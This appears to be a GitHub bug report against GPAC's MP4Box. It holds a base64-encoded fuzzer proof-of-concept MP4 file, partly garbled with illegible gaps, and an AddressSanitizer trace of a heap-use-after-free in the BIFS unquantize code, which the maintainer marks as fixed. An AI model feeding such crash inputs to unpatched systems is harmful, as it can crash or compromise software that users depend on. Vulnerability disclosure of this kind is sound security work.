AAAAAAAABAAAAAQAAAEAAAABAAAAFHN0Y28AAAAAQAAYTkAdcDmbWRhdAABAAAAAAAOEA  
AAAAAAsBAGBQAAAAAAAAAAAAAAAAAQIIcAAAAAAAAAAAAAAAAAECCGgAAAAAAAAAAAAAAAAABAgjQ  
AAAAAAAAAAAAAAAAAQII8AAAAAAAAAAAAAAAAAECCNgAAAAAAAAAAAAAAAACAAE0AAAAAQAAAAA  
AQABAgABDQAAAAIAAAAAEAAQIAARoAAAADAAAAAABAAECAAEeAAAABAAAAAAQAABAgABGwAA  
AAUAAAAAAAAEAAQABAAAAAP/zAOEAAQAAAAt//wBQAAAAAAAAAAAAAAAAAQII0AAAAAAAAAAAA  
AAECCKAAAAAAAAAAAAAAAAABAgjQAAAAAAAAAAAAAAAAAQBgAAIAAABAgAftAAAAEAAW0AAEA  
AQAAAAA4AADAAAAAQIAAIUAAAABAAALaABAAEAAAGwAAAbUJAAABAAAAASAAyIi6mGH0ILCC  
QoMHAEEAAAAAAAAA4AAEAAAAQIAAmEAAAACAAAAAABAAEAAQAAAAAADgAAUAAAABAgACeAAA  
AAMAAAAAAEAAQABAAAAAAAOAABgAAAAECAAKcAAAAA/4AAAAAQABAAEAAAAAAAAA4AAHAAAA  
AQIAApYAAAAFAAAAAABALQAAQAAAAAADgAAgAAAAABAgADxgAAAAYAAAAAAEAAQABAAAAAA  
AOAACQAAAAECAAFAAAABwAAAAAAQABAAEAAAAAAAAA4AAKAAAAAQIAEV8AAAAIAAAAAABAAEA  
AgAAAAAABgAAAsAAAAABAgAftAAAAAKAAOAAADAAAAECAHHAAAAACQAABbQAAQABAAIAAAAAA  
YAANAaaaaQIABbQAAAAKAAAAAABAAEAAAAAAOAAAdgAAAAECAAGjAAAAcGAABbQAAQABAAIAABAA  
AAAAAYAAPAAAAQIABbQAAAAALAAAAAABAAEAAAAAAOAAEAAAAECAAVUAAAAcWAABbQAARIBAAMA  
AAAAAAAYAARAAAAAQIABbQAAAAMAAAAAAABAAEAAAAARcg9GHhJ1B50WxbuIBm4RQx//wgh4ADJ  
kNAA0lF+wAKAvSZeMEQustgxbCZdvxxWGP/ANTHx+YC0c5Sb0yBxgNryD30jAAEB7S+AA42Y18IN  
YwDEBtLrQCNZJ/3vTTYORppQx4B/XhTAARhkFIakw1BatBVRCCFAeMCAQm0B74AFE0/ZaV/viBM  
wIpThyoXs0+Vk8Mf7prBBwHBuYytIKQIFCF+AEMX/N+wXEOJXJ8GCIYXxJSCOFVSDXnhwYDGAZfC  
/gB4AEACgSIMQyK5Wghtqh9QACBci8AAQAABp6GZ0j6Re+ggCBhwiwKysQqDIIQ7m7Xj7sZgAICm  
VjS2GmX34YC7SaQqDS4EpABgAMTNoBFG0DMAAABAAABVgAAf3AAAVsc3RzegAAAAAAAAAAAAAB  
VgAAAJMAAAgAAAAIAAAACAAAAApAAAAIAAAACAAAAAgAAAAPAAETwAAA48AAAAWAAAABAAAAA8  
AAAAPAAADwAAAA8AAAAIAAAACAAAAAgAAAAIAAAACAAAAA8AAAAPAAADwAAAA8AAAAPAAADwA  
AAA8AAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAPAAADwAAAA8AAAAWAAAAFgA  
AAA8AAAAPAAADwAAAAgAAAAIAAAACAAAAAgAAAAIAAADwAAAA8AAAAPAAADwAAAA8AAAAPAAA  
ADwAAAA8AAAAAdAAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAA8AAAA  
PAAADwAAAA8AAAAPAAAAFgAAAA8AAAAPAAADwAAAAgAAAAIAAAAAABQAAAEb0cmFmAAAAFHrm  
aGQAAGAgAAAAQIAAAAAAAQdGZkdAAAAAAAMwAAAAAFHRYdW4AAAAABAAAABQAACbMAAABsdHJh  
ZgAAABB0ZmhhAAIAAAAAAIAAAQdGZkdAAAAAAAsGAAAAHRHYdW4AAAA4BAAAABAAAAAMwAAAJV  
AgAAAAAAAAAAALDAEEAAAAAAKYAAAB0AAEAAAAAAAAAAOBAgAAAAAAKYAAAKNbWRhdAAAAABMn  
TUANqRgoPmANQYBBrbCte98BAAAABCjeCYgAAAVBgURA4f0Ts0KS9yh1DrD1JsXHwCAAAACBQGP  
iWAQi/////in14rgAIAAIDoZoEn1tkQJPxDrtKMksewJQRY416YAAAAAAAAABAAABVgAAf3AAAVs  
c3RzegAAAAAAAAAAAAABVgAAAJMAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAPAAADwA  
AAA8AAAAWAAAAFgAAAA8AAAAPAAADwAAAA8AAAAIAAAACAAAAAgAAAAIAAAACAAAAA8AAAAPAAA  
ADwAAAA8AAAAPAAADwAAAA8AAAAIAAAAFgAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAA  
IAAADwAAAA8AAAAPAAAAFgAAABYAAAAPAAADwAAAA8AAAAIAAAACAAAAAgAAAAIAAAAK6IkAFc  
op9gACATaAAIA8g6YJwkcP6Y6R1n1GKpgpRIZhWoAAQABAAEAAAAAAAAA4QAEAAAAcWECaFAAAAAA  
AAAAAAAAAABAgjAAADoAwAAAAAAAAAAAAAQIIoAAAAAAAAAAAAAAAAAECCJAAAAAAAAAAAAAAAAAB  
AghQAAAAAAAAAAAAAAAAAQIIrG+EMx5saDX/7w/BBAQQKQM2hVA2+SguowfD4AhBLxGN5Xe3NZR  
f//h/D/2hSGAAGGBRD5h9kQY8KCFQxYKIwp4ACAQEIUmeYKIUws4hyywx2AIAAEDEAAQFAAKEDew  
MTADZefA4AAAgigACDQAAIKdz/4AAAgigACDQAAIKdzjsAQAAIGIAAGKgBIImJiYmIHm8A4AAAgigA



CDSAIAKdz/gcAAQRQABBPAAEF05/111111111111/0p/w/DAAdkAAIAXAhToRPuziP/3wAQ06Go  
n8Qs9hnbw+et1aM8AFjEFI8NtnBZW5WHq8AAGABs9BZhCZtd5thhgAIAhy0aQ9E//fw2CD9Fa+sR  
7t//2gBnAvA6Av6QoqhfuABGWiFP8UpRBjHf/+DAAQGUAUgghYUem++/kyHvJsAAmc2AKWRCVGB  
NhA63BiH7socKueACDL6ixejeSzi2C6voBBYQIjNyvCZpFZAPOACGE7SSZSQdWFnigOGTrARSHj  
AACIDBKyzCesFoIF5aoiRutAACADcABg0BsJhZDBbc1JADE5Ikhgw+hgXIpzKn76ACAHNwM5ZaH  
QFwoVOH/f0Dh+gAVQbEueDCNh/1hEEIdGGMcjD/9/ofhKn4ACANMQrJk4QMIXAAGAUQuUX70yDGw  
szS/g/AhVQvrnpUPo4+0HAUXWJOXpi/hnC3f+DhwAEQYopbWwza5YW2Vr00MHREQECzdL4wCfOpw  
i8W4r/cAAAAAYAAVAAAAAQIABbQAAAAAANAFAAABAAEAAAAA0AAFGAAAAECAABIAAADQAAc2gA  
AQABAAIAAAAAAAYAAAXAAAAAQIABbQAAAAA0AAAAAABAAEAAAAA0AAGAAAAECAAF8AAAADgAA  
BbQAAQABAAIAAAAAAAYAAZAAAAAQIABbQAAAAAPAAAAAMtB1SIZCP6wxytsi1pAzZ7J4DLAAAA  
DwAABbQAAQABAAABthAAGEOXEIM/9UFODAOA0DAOLQFN/9xvTtUYV9CqIHLhKOAXPwaj10nipn4d  
e3Sg7BiJfV4Kn3K+3Cace/fXvJtfxpm57RqWLqil/ziJDijumrLr1EmiEQNp1BdmFkQW2TuW2L  
Ydl997byqFGybERG2ruSXjzyw6ZXsw2A07ATC7BahLOWFjFj5cf9iLj8Qz6oFbhvKV+z+wp9fN+  
vNWrkC2NN3hb7cxn2zuS8KZM+tLmzfzlyyyuMI85+tsQVeES6eNNTLjnJvNwVpNN9oiMsNiusdT  
8GrUYPY2PUhc3kA3Y1ez3m7/MK6iwr4ptAgjRqCcMKUfN129EyoRPIJQUH3Bh1xft51yuhxD13G9  
KnC8DzoMA7o0JtEd8tNHmLVvX07jA497PheVJmh5Eg53GPB7tUbbKvBUVK0RqcRE5N0rbyoRojx  
pQgktQrWk5zLZ3cgir8iAp4i7Dx7xWIATD8wx7avyGyMZMKRLaYba9aSbsQQZdgu/3/9zYumrLAn  
IiB0qURQ6r0UuncAKZY4vTFnhYb/9P0SBmC+qnSbAPBQDtb/QwKgR6aE0pYXR8XYmYN7aHtN3iIN  
IgRG0J517AG2hxLzqtJao2TZmJ2v/1TV10ezdiHq0lvI86I4kgiAyzQd1f9AhKvIGtF04j6cGnk7  
ant3RqYSpMHdzFBFTRXmNsftCUwqUeaU/BW6xU9oe1mZbPr/y/U3iKcC1FtpgSmrK15jEpe17wMv  
t2WNKduwPL3cVpVrKmY2oKpvmAtFf8jEq+OJxptPGCzL6dUdq1vy9kzKoBEZTtNqdWgeVjdXpEY  
TCuusXnnw8NmEuZfsAbtjCscYwqN/oCbYgOMN4jYXYPfbCGP9QNPgggCDAB2oYOUIqw7KJwXl/K9  
ORppaCBDbcigjRBN1J7AFAAIhIxn1v+FkXyGPgA8MFjIACIMohDEmmpIFIKqoAmDFwAHwABAAMA  
eQwn7dQ8fAhSSdsZoCgB3pVwFVD5M75uAJ5zgiFh629FyD0YeEnUHNrbFu4gGbhFDH//CCHgAMmQ  
0AA6UX7AAoC9J14wRBSy2DFsJ11XHfYY/8A10Ff5gQLhJvTIHGA2vIPfSMAAQHTL4ADjZigwg1j  
AMQG0utAI1kn/e9NPI5GmLDHgH9eFMABGGQUhqTUEC0FVEIIUAB4wIBCY4HvgAUTT9lpX/OIEzA  
i10HKhezT5WTwx/umsEHACFRhi0gpAgUIX4AQxf837BcSg1cnwYIhhfE1I14VVINeeHBgML+AHgA  
QAKBIgXDirIaCG2qh1AAIFyLwABAAAGnoZk6PpF76CAIGHCLArKxCoMghDubtePuxmAAGKZWNLyA  
ZffhglTjqpANLgSkAGAAxM2gEUBQMz/9/DYIP0Vr6xHu3//aAGcBVonoC/pCiQf+4AGBaIU/xS1E  
GMD//4MABAZQBSCCFhR6b77+TIE8mwACZzYapZEJUYE2EDrcGKETuyhwq54AIMvqLF6N5L0LYLq+  
gEHJAiM3K8JmkVKA84AIYtTjJ1JB1YWeKA4Z0sBFP+MAAIgMERJnJ4KwWggX1qiJG6kAAIANwAGA  
4GyOfkMfTykAMTKiSGBb6GBcinMqfvoAIAC3Az1lodAVahU4f9/Q0H6ABVBsS54MI2H+WEQQh0Y  
YxyMP/3+h+EqfgAIA0xCSmThAyJcAAYBRC5Rfs7IMbCzNL+D8CFVC+ue1Q+jj7QcBTfYk5emL+Gc  
Ld/40HAARBiiltZbNr1hbZwvTQwDERAQLN0vAAJ86nCLxbiv9340Hu6SjG5k/8ALADJqdImDn8w  
AEwCZIE2yLFTFC6L+9YhF5an8khK0aHaA1YGcLfqs8y4BBQKQSGpBuSqIXrIwAhDHJmnC48ktYyx  
4kB9cACDsFM2V0EAtf//Uat/Y2QCAsDGUHVgfwBABDBHCZTMEQ0rJXuzhGhTOYsehgZV009r+ADF  
pJyrEvwiF9zokq8wfhSgACAF+UigKfsL4p1IJVT///+HpgAsLJC5ZKqWT24BmHsqbcXXqih3/7/I  
EMTyIjbJvPJ0AuaEtScpMQ0Twdx4ABakLLQdUCJBFbCbCJfyIDyqGE7WyaSd979c7p/vwZgASxIB  
plzh97wAHSAEAAPAQt0oj35rv/1seURhpdMELucADB3rTPULZijNvuk0a0IwSrBBxnGAafx1KTAA  
4ABmWLcUxarUr60HxAcAR0kxay388t+gw/IcLSPhEuJlhbvAAYDCNu/Iz1wBJwELW8fQx/2BfhP4  
KCycNPkpg1dwMB8KewI08yCBa+cAAMABRAKpUslZtTeY6S1fiIcRLCnYjTAACABNbIPfgIO+4AAR  
ACKNCeb9egqjSPf/wyAAAAJ4AQEupR2DQoMf0/4fWAExsUQFGQnfNYbERmRkXgg6grJorcWVlCRg  
hzf0MPGI//CXgJAKCkXlXVibFIkIRL0f+sAwYeIMSsrECgyWE05u0DB+DgAJF5gACAGAwicKIMos  
tQ4Ye78f+EvwgjEXlHFgnEMtLkCE4n42HY3XFE+vOLFM4mPnaLOB8bcn8BEBGPhrGhcDkRE1itj  
Bz1cHBc0BBGaFyQWmxrg5KEQL5zOC162Dj6+DickImhtqEA4cmSVOL1cQhIRp4mRi8Fy5H9AWQBY  
KsZjRL4SEhCndSwlGx/qORcTKGhA0GrfzJkk416eUek5xQ0QN7qPBx4HEQOW6214Lk/CAKWWeyF  
oYA5g8J80SdonXyGLypsXK+FFGAhwXJcLBkmBxwRo9x+FpxZjCJrMMeGHYxF0HZ4VCGGdsQzzCZq  
nU8010eY2MrU+1hdnoR0H0iXA9KBW3iutk7eDnFsRQhtrSL1ty/YIVRDjRqyRU80wWIK4Wh8NV0w  
CE8FwMRsUh8LxBLRYj0B8nBx5L0cC8UJSRXHEGJQLFc0fQB/ZBOaYQk8JDjW6vioHC1XeToerDgB  
CfpTxAOsDjCKHwGAbHN0Y28AAAAAFAAFAAAEAM1JAAfhmgACAbsAAmgC18hNqYcXU1wEsaY0  
eVg4hJ08ZDL3aC8JqtAODVCyU6t0WtufbQgtiwHLH01M14LE80GToFtKwqG4SFjRWG8JFsZCLpkj  
CV4oLDh1TJSFHWXgHaFMEI+znHLZ9rPIsIyHoOGVbLaccEXebNHGtsYosmRIcCRaL6sN0ZpFjBK  
LGuVshR43BYJUGka6XqDJUCwrELOEluJi0WTU5AtuWxfWYwZvwAAAbZQARwh1tBo1RbzpyL3rbCd  
gFY2hMp474LukgBPfYf9I5gnUxqgBaUPAUca3p4dgOSMLLMNC5MV8Z9cGgOTI0bRhPBZgiFpQ29c  
LAVqydAidaYgjEfghALSh0uTYuWArIE7p1Jg6ALMIptBzBxT/nJc1srL4gHwpzqbr1v/N8HVVz1V  
jvnGuAcJ0WiuDkLyODuQC8BCVK002skjf8kZn76sDrytXtbBlsArhGxzepvVdrkb42znZ2dact2G

[illegible]

[illegible]



[illegible]

[illegible]

[illegible]

[illegible]

1JykxA5PB3HgAECQstB1QIkEVtsI1/IgPKoYtTbJpJ33v1zun+/BmABLEgGmXMF3vAAAdIAAQGMBC  
3S1PXmu//Wx5RGG10wQu5wAMHetM9SVmKM2+6Q5rQjBKsEHGcYAAxHUpMADgAEzAsJTFquqvrQfE  
AJpE6StrL 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



[illegible]



[illegible]

[illegible]

[illegible]

[illegible]

[illegible]

```
~/fuzzing/gpac/gpac-asan/bin/gcc/MP4Box -ls poc
[iso file] Unknown box type dCCf in parent minf
[iso file] Missing DataInformationBox
[iso file] extra box maxr found in hinf, deleting
[iso file] Box "rtp " (start 9955) has 7 extra bytes
[iso file] Box "stsd" (start 9939) has 5 extra bytes
[iso file] extra box maxr found in hinf, deleting
[iso file] Unknown box type 80rak in parent moov
[iso file] Incomplete box mdat - start 11495 size 853069
[iso file] Incomplete file while reading for dump - aborting parsing
[iso file] Unknown box type dCCf in parent minf
[iso file] Missing DataInformationBox
[iso file] extra box maxr found in hinf, deleting
[iso file] Box "rtp " (start 9955) has 7 extra bytes
[iso file] Box "stsd" (start 9939) has 5 extra bytes
[iso file] extra box maxr found in hinf, deleting
[iso file] Unknown box type 80rak in parent moov
[iso file] Incomplete box mdat - start 11495 size 853069
[iso file] Incomplete file while reading for dump - aborting parsing
MPEG-4 BIFS Scene Parsing
[ODF] Reading bifs config: shift in sizes (not supported)
[BIFS] name too long 1475 bytes but max size 1000, truncating
=====
==3330624==ERROR: AddressSanitizer: heap-use-after-free on address 0x610000000494 at pc
0x7fa720afa77d bp 0x7fffca7618d0 sp 0x7fffca7618c8
```



READ of size 4 at 0x61000000494 thread T0

#0 0x7fa720afa77c in Q\_IsTypeOn /home/aidai/fuzzing/gpac/gpac-  
asan/src/bifs/unquantize.c:151:12  
#1 0x7fa720afe187 in gf\_bifs\_dec\_unquant\_field /home/aidai/fuzzing/gpac/gpac-  
asan/src/bifs/unquantize.c:397:7  
#2 0x7fa720ab6d21 in gf\_bifs\_dec\_sf\_field /home/aidai/fuzzing/gpac/gpac-  
asan/src/bifs/field\_decode.c:84:7  
#3 0x7fa720ac040e in gf\_bifs\_dec\_field /home/aidai/fuzzing/gpac/gpac-  
asan/src/bifs/field\_decode.c:517:7  
#4 0x7fa720ac137d in gf\_bifs\_dec\_node\_list /home/aidai/fuzzing/gpac/gpac-  
asan/src/bifs/field\_decode.c:618:7  
#5 0x7fa720abcbd3 in gf\_bifs\_dec\_node /home/aidai/fuzzing/gpac/gpac-  
asan/src/bifs/field\_decode.c:920:7  
#6 0x7fa720a96880 in gf\_bifs\_dec\_proto\_list /home/aidai/fuzzing/gpac/gpac-  
asan/src/bifs/com\_dec.c:1143:12  
#7 0x7fa720a98391 in BD\_DecSceneReplace /home/aidai/fuzzing/gpac/gpac-  
asan/src/bifs/com\_dec.c:1351:6  
#8 0x7fa720ad66b6 in BM\_SceneReplace /home/aidai/fuzzing/gpac/gpac-  
asan/src/bifs/memory\_decoder.c:860:21  
#9 0x7fa720ad6ff7 in BM\_ParseCommand /home/aidai/fuzzing/gpac/gpac-  
asan/src/bifs/memory\_decoder.c:910:8  
#10 0x7fa720ad76ee in gf\_bifs\_flush\_command\_list /home/aidai/fuzzing/gpac/gpac-  
asan/src/bifs/memory\_decoder.c:951:9  
#11 0x7fa720a96969 in gf\_bifs\_dec\_proto\_list /home/aidai/fuzzing/gpac/gpac-  
asan/src/bifs/com\_dec.c:1162:5  
#12 0x7fa720a96070 in gf\_bifs\_dec\_proto\_list /home/aidai/fuzzing/gpac/gpac-  
asan/src/bifs/com\_dec.c:1132:8  
#13 0x7fa720a98391 in BD\_DecSceneReplace /home/aidai/fuzzing/gpac/gpac-  
asan/src/bifs/com\_dec.c:1351:6  
#14 0x7fa720ad66b6 in BM\_SceneReplace /home/aidai/fuzzing/gpac/gpac-  
asan/src/bifs/memory\_decoder.c:860:21  
#15 0x7fa720ad6ff7 in BM\_ParseCommand /home/aidai/fuzzing/gpac/gpac-  
asan/src/bifs/memory\_decoder.c:910:8  
#16 0x7fa720ad852e in gf\_bifs\_decode\_command\_list /home/aidai/fuzzing/gpac/gpac-  
asan/src/bifs/memory\_decoder.c:1019:6  
#17 0x7fa72127c2df in gf\_sm\_load\_run\_isom /home/aidai/fuzzing/gpac/gpac-  
asan/src/scene\_manager/loader\_isom.c:303:10  
#18 0x7fa7212000fe in gf\_sm\_load\_run /home/aidai/fuzzing/gpac/gpac-  
asan/src/scene\_manager/scene\_manager.c:719:28  
#19 0x51cdb8 in dump\_isom\_scene /home/aidai/fuzzing/gpac/gpac-  
asan/applications/mp4box/filedump.c:203:14  
#20 0x5004b4 in mp4boxMain /home/aidai/fuzzing/gpac/gpac-  
asan/applications/mp4box/main.c:6146:7  
#21 0x7fa71fdd50b2 in \_\_libc\_start\_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-  
start.c:308:16  
#22 0x429b7d in \_start (/home/aidai/fuzzing/gpac/gpac-asan/bin/gcc/MP4Box+0x429b7d)

0x61000000494 is located 84 bytes inside of 192-byte region [0x61000000440,0x61000000500)  
freed by thread T0 here:

#0 0x4a203d in free (/home/aidai/fuzzing/gpac/gpac-asan/bin/gcc/MP4Box+0x4a203d)  
#1 0x7fa7206f69dc in gf\_node\_free /home/aidai/fuzzing/gpac/gpac-  
asan/src/scenegraph/base\_scenegraph.c:1620:2

previously allocated by thread T0 here:

#0 0x4a22bd in malloc (/home/aidai/fuzzing/gpac/gpac-asan/bin/gcc/MP4Box+0x4a22bd)  
#1 0x7fa72072195c in QuantizationParameter\_Create /home/aidai/fuzzing/gpac/gpac-

asan/src/scenegraph/mpeg4\_nodes.c:12496:2

SUMMARY: AddressSanitizer: heap-use-after-free /home/aidai/fuzzing/gpac/gpac-

asan/src/bifs/unquantize.c:151:12 in Q\_IsTypeOn

Shadow bytes around the buggy address:

```
0x0c207fff8040: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c207fff8050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05
0x0c207fff8060: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c207fff8070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c207fff8080: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
=>0x0c207fff8090: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c207fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c207fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c207fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c207fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c207fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
```

Shadow byte legend (one shadow byte represents 8 application bytes):

```
Addressable:          00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone:    fa
Freed heap region:    fd
Stack left redzone:   f1
Stack mid redzone:    f2
Stack right redzone:  f3
Stack after return:   f5
Stack use after scope: f8
Global redzone:       f9
Global init order:    f6
Poisoned by user:     f7
Container overflow:    fc
Array cookie:         ac
Intra object redzone: bb
ASan internal:        fe
Left alloca redzone:  ca
Right alloca redzone: cb
Shadow gap:          cc
```

==3330624==ABORTING

jeanlf commented on Jan 21

Contributor

fixed by fixing [#2057](#)



jeanlf closed this as completed on Jan 21

Assignees

No one assigned

---

Labels

None yet

---

Projects

None yet

---

Milestone

No milestone

---

Development

No branches or pull requests

---

2 participants

